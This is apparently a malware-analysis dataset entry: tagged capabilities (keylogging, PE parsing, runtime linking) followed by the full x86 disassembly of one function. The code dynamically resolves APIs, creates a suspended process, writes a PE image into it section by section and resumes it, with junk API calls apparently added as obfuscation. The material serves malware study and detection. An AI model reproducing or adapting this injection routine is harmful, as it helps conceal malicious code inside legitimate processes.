Function at 0x403670
Capabilities:
Enumerate pe sections
Link many functions at runtime
Log keystrokes
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x538
mov eax, dword [0x40b488]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push eax
mov dword [0x40502c], 0x78d1
mov dword [0x4050f8], 0x76c6
call esi
mov ecx, dword [0x405430]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push 0x20fc
push 0x5781
push 0x29f
push ecx
mov dword [0x40b548], eax
call edi
mov edx, dword [0x40b47c]
push edx
call esi
mov ecx, dword [0x40b548]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40b54c], eax
mov eax, dword [0x40b4a8]
push eax
push ecx
mov dword [0x4050d4], 0x1df6
call esi
push 1
push 0x37fe
push 0x609d
mov dword [0x40b504], eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov edx, dword [0x40b49c]
mov eax, dword [0x40b548]
push edx
push eax
call esi
mov ecx, dword [0x405418]
mov edx, dword [0x40546c]
mov ebx, dword [sym.imp.USER32.dll_KillTimer]
push ecx
push edx
mov dword [0x40b524], eax
call ebx
mov eax, dword [0x40b494]
mov ecx, dword [0x40b54c]
push eax
push ecx
call esi
mov dword [0x40b528], eax
call dword [sym.imp.GDI32.dll_GdiFlush]
mov edx, dword [0x40b48c]
mov eax, dword [0x40b548]
push edx
push eax
call esi
mov dword [0x40b52c], eax
call dword [sym.imp.GDI32.dll_GdiFlush]
mov ecx, dword [0x40b484]
mov edx, dword [0x40b548]
push ecx
push edx
call esi
mov dword [0x40b530], eax
mov eax, dword [0x405434]
push 0x4bef
push 0x5913
push 0x2395
push eax
call edi
mov ecx, dword [0x40b478]
mov edx, dword [0x40b548]
push ecx
push edx
call esi
mov dword [0x40b534], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [0x40b470]
mov ecx, dword [0x40b548]
push eax
push ecx
call esi
mov dword [0x40b538], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [0x40b468]
mov eax, dword [0x40b548]
push edx
push eax
call esi
mov dword [0x40b53c], eax
call dword [sym.imp.GDI32.dll_GdiFlush]
mov ecx, dword [0x40b46c]
mov edx, dword [0x40b548]
push ecx
push edx
call esi
mov dword [0x40b508], eax
mov eax, dword [0x4053e8]
push 0x5e3f
push 0x2b4a
push 0x5183
push eax
call edi
mov ecx, dword [0x40b464]
mov edx, dword [0x40b548]
push ecx
push edx
call esi
mov dword [0x40b50c], eax
mov eax, dword [0x405460]
push 0x7939
push 0x6789
push 0xa5f
push eax
call edi
mov ecx, dword [0x40b45c]
push str.apFree
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [0x40b45c]
mov eax, dword [0x40b548]
push edx
push eax
call esi
mov ecx, dword [0x4053e0]
push 0x2da6
push 0x12d6
push 0x5310
push ecx
mov dword [0x40b510], eax
call edi
mov edx, dword [0x40b450]
mov eax, dword [0x40b548]
push edx
push eax
call esi
mov ecx, dword [0x405040]
mov esi, eax
mov eax, 0x63e7063f
mov dword [0x40b540], esi
imul ecx
mov eax, dword [0x40b504]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
test eax, eax
mov dword [0x405040], edx
je 0x403f39
mov eax, dword [0x40b524]
test eax, eax
je 0x403f39
mov eax, dword [0x40b528]
test eax, eax
je 0x403f39
mov eax, dword [0x40b52c]
test eax, eax
je 0x403f39
mov eax, dword [0x40b530]
test eax, eax
je 0x403f39
mov eax, dword [0x40b534]
test eax, eax
je 0x403f39
mov eax, dword [0x40b538]
test eax, eax
je 0x403f39
mov eax, dword [0x40b53c]
test eax, eax
je 0x403f39
mov eax, dword [0x40b508]
test eax, eax
je 0x403f39
mov ecx, dword [0x40b50c]
test ecx, ecx
je 0x403f39
mov ecx, dword [0x40b510]
test ecx, ecx
je 0x403f39
test esi, esi
je 0x403f39
call eax
mov edx, dword [0x405460]
push 0x7f1a
push 0x1826
push 0xaaa
push edx
mov dword [0x40b544], eax
call edi
lea eax, [ebp - 0x26c]
push 0x104
push eax
push 0
call dword [0x40b540]
mov ecx, dword [0x4053e8]
mov edx, dword [0x405450]
push ecx
push edx
call ebx
push 1
push HeapAlloc
push 0x1ea3
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [0x40540c]
mov ecx, dword [0x4054ac]
push eax
push ecx
call ebx
mov edx, dword [0x405444]
mov eax, dword [0x405484]
push edx
push eax
call ebx
mov ecx, dword [0x405448]
push 0x38e
push 0x3b8c
push 0x76f4
push ecx
call edi
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
call edi
call edi
mov edx, dword [0x4053f4]
mov eax, dword [0x4054d8]
push edx
push eax
mov dword [0x40507c], 0x672f
mov dword [0x4050b8], 0x7125
call ebx
mov eax, dword [0x405050]
mov ecx, dword [0x4050f8]
cdq
and edx, 7
mov esi, dword [0x405ce4]
add eax, edx
sar eax, 3
mov dword [0x405050], eax
mov eax, 0xa5730237
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov dword [section..data], edx
call edi
mov edx, dword [0x40b544]
inc esi
push esi
push 0
push edx
call dword [0x40b50c]
mov edi, eax
test edi, edi
mov dword [ebp - 8], edi
je 0x403bc5
mov eax, dword [0x40547c]
mov ecx, dword [0x405448]
dec esi
push eax
push ecx
mov dword [ebp - 0xc], esi
call ebx
mov ecx, esi
mov esi, 0x405ce8
mov edx, ecx
mov eax, dword [ebp - 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 1
and ecx, 3
push 0xbec
rep movsb byte es:[edi], byte [esi]
mov dword [0x40510c], 0x41ce
push 0x49cd
movsx ecx, byte [eax]
mov dword [ebp - 4], ecx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov esi, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov ecx, dword [0x4050bc]
mov edi, esi
mov eax, 0x78787879
sub edi, edx
imul ecx
sar edx, 6
mov eax, edx
dec edi
shr eax, 0x1f
add edx, eax
mov dword [0x4050bc], edx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
lea ecx, [ebp - 0x168]
lea eax, [edx + edi + 1]
push eax
push ecx
call fcn.00403250
mov edx, dword [ebp - 8]
push edi
lea eax, [edx + 1]
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x168]
push eax
call fcn.00403360
add esp, 0x18
call dword [sym.imp.USER32.dll_GetForegroundWindow]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x40544c]
mov edx, dword [0x4054e4]
push ecx
push edx
call ebx
call dword [sym.imp.GDI32.dll_GdiFlush]
mov eax, dword [0x405428]
push 0x3e40
push 0x717c
push 0xf13
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [esi + esi*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
mov eax, 0x51eb851f
lea esi, [esi + ecx*4]
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push 0
mov ecx, dword [0x40b544]
push ecx
call dword [0x40b50c]
mov esi, eax
test esi, esi
mov dword [ebp - 0x20], esi
je 0x403bc5
mov edx, dword [ebp - 0xc]
push 0
push edi
push esi
push edx
call fcn.00403540
mov ecx, dword [0x405038]
mov edi, eax
mov eax, 0x66666667
add esp, 0x10
imul ecx
mov ecx, dword [0x40b544]
inc edi
sar edx, 3
mov eax, edx
push edi
shr eax, 0x1f
add edx, eax
push 0
push ecx
mov dword [0x405064], 0x307
mov dword [0x405038], edx
call dword [0x40b50c]
test eax, eax
mov dword [ebp - 4], eax
jne 0x403bd9
mov edx, dword [0x40552c]
mov eax, dword [0x405500]
push edx
push eax
call ebx
jmp 0x403f0b
push 1
push 0x1e58
push 0x4477
call dword [sym.imp.USER32.dll_AttachThreadInput]
lea ecx, [edi - 1]
mov edi, dword [ebp - 4]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x405468]
mov ecx, dword [0x4054c0]
push eax
push ecx
call ebx
mov edx, dword [ebp - 0x20]
mov eax, dword [0x40b544]
push edx
push 0
push eax
call dword [0x40b510]
mov esi, dword [sym.imp.GDI32.dll_GdiFlush]
call esi
mov ecx, dword [ebp - 8]
mov edx, dword [0x40b544]
push ecx
push 0
push edx
call dword [0x40b510]
mov eax, dword [0x4053c8]
push eax
push eax
call ebx
mov ecx, dword [0x405110]
mov eax, 0xf2b9d649
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x405110], edx
call esi
call esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x405438]
mov edx, dword [0x4054f0]
push ecx
push edx
call ebx
mov eax, dword [0x4054b0]
push 0x22a3
push 0x8f7
push 0x2985
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [0x4050f4]
mov eax, 0x11786ef7
imul ecx
sar edx, 0xa
mov ecx, edx
mov eax, dword [0x4053cc]
shr ecx, 0x1f
add edx, ecx
mov dword [0x405018], edx
mov edx, dword [0x4053c8]
push edx
push eax
call ebx
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x64]
push 1
push 0x70ee
push 0x7902
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x538], 0x10007
mov ecx, dword [0x4054d4]
mov edx, dword [0x405424]
push ecx
push edx
call ebx
mov edi, dword [ebp - 4]
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push 0x6527
push 0x6438
mov dword [0x40b4f8], edi
call ebx
mov eax, dword [0x40b4f8]
cmp word [eax], 0x5a4d
jne 0x403f0b
mov eax, dword [eax + 0x3c]
mov dword [0x405154], 0x7969
add eax, edi
mov dword [0x40b4fc], eax
cmp dword [eax], 0x4550
jne 0x403f0b
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x64]
push eax
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
call dword [0x40b504]
lea edx, [ebp - 0x26c]
push eax
push edx
call dword [0x40b524]
push 1
push 0x61b9
push 0x6c10
call ebx
mov eax, dword [0x40b4fc]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x34]
push ecx
push edx
call dword [0x40b528]
mov eax, dword [0x40b4fc]
push 0x40
push 0x3000
mov ecx, dword [eax + 0x50]
mov edx, dword [eax + 0x34]
mov eax, dword [ebp - 0x1c]
push ecx
push edx
push eax
call dword [0x40b52c]
mov eax, dword [0x40b4fc]
push 0
mov ecx, dword [eax + 0x54]
mov edx, dword [eax + 0x34]
mov eax, dword [ebp - 0x1c]
push ecx
push edi
push edx
push eax
call dword [0x40b530]
mov ecx, dword [0x40b4fc]
xor ebx, ebx
mov dword [0x4050e4], 0x5175
cmp word [ecx + 6], bx
jbe 0x403e8a
xor esi, esi
mov edx, dword [0x40b4f8]
push 0x1c54
push 0x699d
push 0x4321
mov eax, dword [edx + 0x3c]
mov edx, dword [0x405424]
add eax, esi
push edx
lea ecx, [eax + edi + 0xf8]
mov dword [0x40b500], ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [0x40b500]
push 0
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
push ecx
mov ecx, dword [0x40b4fc]
add edx, edi
push edx
mov edx, dword [ecx + 0x34]
add eax, edx
mov edx, dword [ebp - 0x1c]
push eax
push edx
call dword [0x40b530]
mov ecx, dword [0x40513c]
mov eax, 0x8ca29c05
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 7
mov eax, edx
add esi, 0x28
shr eax, 0x1f
add edx, eax
inc ebx
mov dword [0x40513c], edx
mov edx, dword [0x40b4fc]
mov cx, word [edx + 6]
cmp ebx, ecx
jl 0x403def
mov esi, dword [sym.imp.GDI32.dll_GdiFlush]
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x538]
push eax
push ecx
call dword [0x40b534]
push 1
push 0x679b
push 0x56e1
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [0x40b4fc]
lea ecx, [ebp - 0x538]
push ecx
mov edx, dword [eax + 0x34]
mov edi, dword [eax + 0x28]
mov eax, dword [0x405040]
add edx, edi
mov dword [ebp - 0x488], edx
mov edx, dword [ebp - 0x18]
add eax, 0x4851
push edx
mov dword [0x405110], eax
call dword [0x40b538]
mov ecx, dword [0x405158]
mov eax, 0xab8f69e3
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x18]
sar edx, 7
mov eax, edx
push ecx
shr eax, 0x1f
add edx, eax
mov dword [0x405158], edx
call dword [0x40b53c]
call esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x405160]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
pop edi
sar edx, 6
mov eax, edx
pop esi
shr eax, 0x1f
add edx, eax
xor eax, eax
mov dword [0x405160], edx
pop ebx
mov esp, ebp
pop ebp
ret
int3